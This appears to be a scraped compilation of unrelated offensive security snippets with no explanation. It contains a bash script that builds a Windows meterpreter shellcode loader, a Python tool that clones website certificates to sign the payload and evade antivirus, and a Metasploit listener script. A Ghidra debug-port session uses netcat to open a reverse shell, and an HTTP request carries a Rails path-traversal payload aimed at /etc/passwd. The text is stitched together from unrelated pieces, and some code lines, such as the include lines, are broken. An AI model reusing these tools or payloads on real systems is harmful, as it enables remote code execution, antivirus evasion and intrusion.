if [ $(dpkg-query -W -f='${Status}' osslsigncode 2>/dev/null | grep -c "ok installed") -eq 0 ];
then echo "[-] Missing osslsigncode apt-get install osslsigncode"
exit
fi

echo -en 'Metasploit server IP : '
read ip
echo -en 'Metasploit port number : '
read port 
echo -en 'Impersonate Certificate https site (www.google.com): '
read hostname
echo '#include '> temp.c 
echo '#include '>> temp.c 
echo '#include '>> temp.c
echo '#include '>> temp.c 
echo -n 'unsigned char lambert[]="'>> temp.c 
echo -n $ip >> temp.c 
echo -n '";'>> temp.c 
echo ''>> temp.c 
echo -n 'unsigned char omega[]="'>> temp.c 
echo -n $port >> temp.c 
echo -n '";'>> temp.c 
echo ''>> temp.c 
echo 'void winsock_init() {'>> temp.c 
echo ' WSADATA wsaData;'>> temp.c 
echo ' WORD wVersionRequested;'>> temp.c 
echo ' wVersionRequested = MAKEWORD(2, 2);'>> temp.c 
echo ' if (WSAStartup(wVersionRequested, &wsaData) < 0) {'>> temp.c 
echo ' printf("bad\n"); '>> temp.c 
echo ' WSACleanup(); '>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }'>> temp.c 
echo ' }'>> temp.c 
echo ' void punt(SOCKET my_socket, char * error) {'>> temp.c 
echo ' printf("r %s\n", error);'>> temp.c 
echo ' closesocket(my_socket);'>> temp.c 
echo ' WSACleanup();'>> temp.c 
echo ' exit(1);'>> temp.c 
echo ' }'>> temp.c 
echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {'>> temp.c 
echo ' int tret = 0;'>> temp.c 
echo ' int nret = 0;'>>temp.c 
echo ' void * startb = buffer;'>> temp.c 
echo ' while (tret < len) {'>>temp.c 
echo ' nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp.c 
echo ' startb += nret;'>> temp.c 
echo ' tret += nret;'>>temp.c 
echo ' if (nret == SOCKET_ERROR)'>> temp.c 
echo ' punt(my_socket, "no data");'>> temp.c 
echo ' }'>>temp.c 
echo ' return tret;'>> temp.c 
echo '}'>> temp.c 
echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp.c 
echo ' struct hostent * target;'>> temp.c 
echo ' struct sockaddr_in sock;'>> temp.c
echo ' SOCKET my_socket;'>>temp.c 
echo ' my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp.c 
echo ' if (my_socket == INVALID_SOCKET)'>> temp.c 
echo ' punt(my_socket, ".");'>>temp.c 
echo ' target = gethostbyname(targetip);'>>temp.c 
echo ' if (target == NULL)'>>temp.c 
echo ' punt(my_socket, "..");'>>temp.c 
echo ' memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);'>>temp.c 
echo ' sock.sin_family = AF_INET;'>> temp.c 
echo ' sock.sin_port = htons(port);'>>temp.c 
echo ' if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp.c 
echo ' punt(my_socket, "...");'>>temp.c 
echo ' return my_socket;'>>temp.c 
echo '}'>> temp.c 
echo 'int main(int argc, char * argv[]) {'>> temp.c 
echo ' FreeConsole();'>>temp.c 
echo ' Sleep(15);'>>temp.c 
echo ' ULONG32 size;'>>temp.c 
echo ' char * buffer;'>>temp.c 
echo ' void (*function)();'>>temp.c 
echo ' winsock_init();'>> temp.c 
echo ' SOCKET my_socket = wsconnect(lambert, atoi(omega));'>>temp.c 
echo ' int count = recv(my_socket, (char *)&size, 4, 0);'>>temp.c 
echo ' if (count != 4 || size <= 0)'>>temp.c 
echo ' punt(my_socket, "error lenght\n");'>>temp.c 
echo ' buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp.c 
echo ' if (buffer == NULL)'>>temp.c 
echo ' punt(my_socket, "error in buf\n");'>>temp.c 
echo ' buffer[0] = 0xBF;'>>temp.c 
echo ' memcpy(buffer + 1, &my_socket, 4);'>>temp.c 
echo ' count = recv_all(my_socket, buffer + 5, size);'>>temp.c 
echo ' function = (void (*)())buffer;'>>temp.c 
echo ' function();'>>temp.c 
echo ' return 0;'>>temp.c 
echo '}'>> temp.c 
echo '(+) Compiling binary ..'
x86_64-w64-mingw32-gcc temp.c -o payload.exe -lws2_32 -mwindows 
ls -la temp.c
strip payload.exe 
file=`ls -la payload.exe` ; echo '(+)' $file

#Cleanup previous run 
rm -f carboncopy.py
cat <> carboncopy.py
#!/usr/bin/python3

##Author : Paranoid Ninja
##Email  : paranoidninja@protonmail.com
##Descr  : Spoofs SSL Certificates and Signs executables to evade Antivirus


from OpenSSL import crypto
from sys import argv, platform
import ssl
import os
import subprocess

def CarbonCopy(host, port, signee, signed):

    try:
        #Fetching Details
        print("[+] Loading public key of %s in Memory..." % host)
        ogcert = ssl.get_server_certificate((host, int(port)))
        x509 = crypto.load_certificate(crypto.FILETYPE_PEM, ogcert)

        certDir = r'certs'
        if not os.path.exists(certDir):
            os.makedirs(certDir)

        #Creating Fake Certificate
        CNCRT = certDir + "/" + host + ".crt"
        CNKEY = certDir + "/" + host + ".key"
        PFXFILE = certDir + "/" + host + '.pfx'

        #Creating Keygen
        k = crypto.PKey()
        k.generate_key(crypto.TYPE_RSA, ((x509.get_pubkey()).bits()))
        cert = crypto.X509()

        #Setting Cert details from loaded from the original Certificate
        print("[+] Cloning Certificate Version")
        cert.set_version(x509.get_version())
        print("[+] Cloning Certificate Serial Number")
        cert.set_serial_number(x509.get_serial_number())
        print("[+] Cloning Certificate Subject")
        cert.set_subject(x509.get_subject())
        print("[+] Cloning Certificate Issuer")
        cert.set_issuer(x509.get_issuer())
        print("[+] Cloning Certificate Registration & Expiration Dates")
        cert.set_notBefore(x509.get_notBefore())
        cert.set_notAfter(x509.get_notAfter())
        cert.set_pubkey(k)
        print("[+] Signing Keys")
        cert.sign(k, 'sha256')

        print("[+] Creating %s and %s" %(CNCRT, CNKEY))
        open(CNCRT, "wt").write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8'))
        open(CNKEY, "wt").write(crypto.dump_privatekey(crypto.FILETYPE_PEM, k).decode('utf-8'))
        print("[+] Clone process completed. Creating PFX file for signing executable...")

        pfx = crypto.PKCS12Type()
        pfx.set_privatekey(k)
        pfx.set_certificate(cert)
        pfxdata = pfx.export()

        with open((PFXFILE), 'wb') as pfile:
            pfile.write(pfxdata)

        if (platform == "win32"):
            print("[+] Platform is Windows OS...")
            print("[+] Signing %s with signtool.exe..." %(signed))
            print(subprocess.check_output("copy " + signee + "" + signed, shell=True).decode())
            print(subprocess.check_output("signtool.exe sign /v /f " + PFXFILE + " /d \"MozDef Corp\" /tr \"http://sha256timestamp.ws.symantec.com/sha256/timestamp\" /td SHA256 /fd SHA256 " + signed, shell=True).decode())

        else:
            print("[+] Platform is Linux OS...")
            print("[+] Signing %s with %s using osslsigncode..." %(signee, PFXFILE))
            args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", "Notepad Benchmark Util", "-i", "http://sha256timestamp.ws.symantec.com/sha256/timestamp", "-in", signee, "-out", signed)
            popen = subprocess.Popen(args, stdout=subprocess.PIPE)
            popen.wait()
            output = popen.stdout.read()
            print("[+] " + output.decode('utf-8'))

    except Exception as ex:
        print("[X] Something Went Wrong!\n[X] Exception: " + str(ex))

def main():
    if (len(argv) != 5):
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n\n[+] Descr: Impersonates the Certificate of a website\n[!] Usage: " + argv[0] + "\n")
    else:
        print(""" +-+-+-+-+-+-+-+-+-+-+-+-+
 |C|a|r|b|o|n|S|i|g|n|e|r|
 +-+-+-+-+-+-+-+-+-+-+-+-+""")
        print("\n  CarbonSigner v1.0\n  Author: Paranoid Ninja\n")
        CarbonCopy(argv[1], argv[2], argv[3], argv[4])

if __name__=="__main__":
    main()

EOF

python ./carboncopy.py $hostname 443 ./payload.exe ./payload-signed.exe
ls -la ./payload-signed.exe 
osslsigncode verify ./payload-signed.exe

#!/bin/bash

clear
echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo " For Automatic Teensy programming and deployment "
echo "***************************************************************"
echo -e "What IP are we gonna listen to ? \c"
read host

echo -e "What Port Number are we gonna listen to? : \c"
read port

echo "Starting the meterpreter listener.."
echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST '> run.listener.sh

echo -n $host >> run.listener.sh
echo -n '; set LPORT '>> run.listener.sh
echo -n $port >> run.listener.sh
echo -n '; run"'>> run.listener.sh

chmod +x run.listener.sh
./run.listener.sh

Fuente: https://astr0baby.wordpress.com/2019/01/26/custom-meterpreter-loader-in-2019

user@server:/tools/reversing/ghidra_9.0/support$ ./ghidraDebug 

# nmap -p18001,18002 -sV localhost

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-14 22:16 CET
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000041s latency).

PORT      STATE SERVICE     VERSION
18001/tcp open  jdwp        Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.2
18002/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.65 seconds

user@server:/tools/reversing/ghidra_9.0/support# netstat -an | grep 800
tcp        0      0 0.0.0.0:18001           0.0.0.0:*               LISTEN     
tcp6       0      0 :::18002                :::*                    LISTEN     

# jdb -attach 192.168.1.81:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...

> classpath
base directory: /tools/reversing/ghidra_9.0/support
classpath: [/tools/reversing/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]

> classes
...
...
org.apache.logging.log4j.core.util.Integers
org.apache.logging.log4j.core.util.Loader
org.apache.logging.log4j.core.util.Log4jThread
org.apache.logging.log4j.core.util.Log4jThreadFactory
org.apache.logging.log4j.core.util.NameUtil
org.apache.logging.log4j.core.util.NanoClock
org.apache.logging.log4j.core.util.NetUtils
org.apache.logging.log4j.core.util.OptionConverter
org.apache.logging.log4j.core.util.Patterns
org.apache.logging.log4j.core.util.ReflectionUtil
org.apache.logging.log4j.core.util.ShutdownCallbackRegistry
org.apache.logging.log4j.core.util.SystemClock
org.apache.logging.log4j.core.util.TypeUtil
org.apache.logging.log4j.core.util.WatchManager
org.apache.logging.log4j.core.util.WatchManager$FileMonitor
org.apache.logging.log4j.core.util.WatchManager$WatchRunnable
org.apache.logging.log4j.core.util.datetime.DateParser
org.apache.logging.log4j.core.util.datetime.DatePrinter
org.apache.logging.log4j.core.util.datetime.FastDateFormat
org.apache.logging.log4j.core.util.datetime.FastDateFormat$1
org.apache.logging.log4j.core.util.datetime.FastDateParser
org.apache.logging.log4j.core.util.datetime.FastDateParser$1
org.apache.logging.log4j.core.util.datetime.FastDateParser$2
org.apache.logging.log4j.core.util.datetime.FastDateParser$3
...
...

> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()

> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Log4j2-TF-4-Scheduled-1[1] print new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh")
 new java.lang.Runtime().exec("nc.traditional 192.168.1.81 4444 -e /bin/sh") = "Process[pid=5954, exitValue="not exited"]"
Log4j2-TF-4-Scheduled-1[1] 

# nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.1.81 55418 received!
whoami
user
python -c 'import pty; pty.spawn("/bin/sh")'
$ id
id
uid=1000(user) gid=1000(user) groups=1000(grupo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ 

user@server:/tools/reversing/ghidra_9.0/support# vi launch.sh 

if [ "${MODE}" = "debug" ] || [ "${MODE}" = "debug-suspend" ]; then

        SUSPEND=n

        if [ "{$DEBUG_PORT}" = "" ]; then
                DEBUG_PORT=18001
        fi

        if [ "${MODE}" = "debug-suspend" ]; then
                SUSPEND=y
        fi

        VMARG_LIST+=" -Xdebug"
        VMARG_LIST+=" -Xnoagent"
        VMARG_LIST+=" -Djava.compiler=NONE"
        VMARG_LIST+=" -Dlog4j.configuration=\"${DEBUG_LOG4J}\""
        VMARG_LIST+=" -Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.port=$(($DEBUG_PORT+1))"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.authenticate=false"
        VMARG_LIST+=" -Dcom.sun.management.jmxremote.ssl=false"

GET /test HTTP/1.1
Host: SERVIDOR:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: ../../../../../../../../etc/passwd{{
Content-Length: 306
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: firstVisit=1552167456698; CSRF-Token-HOYYT=grQmu9F3Y5hazpvr6T5TtWKj4HqPFhea; sessionid-HOYYT=i3VkCeXtjRJJHUxc7xEEjbecD53xbvaN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

```
class UserController < ApplicationController
  def index
    render file: "#{Rails.root}/some/file"
  end
end
```

```
$ cat config/initializers/formats_filter.rb
# frozen_string_literal: true

ActionDispatch::Request.prepend(Module.new do
  def formats
    super().select do |format|
      format.symbol || format.ref == "*/*"
    end
  end
end)
```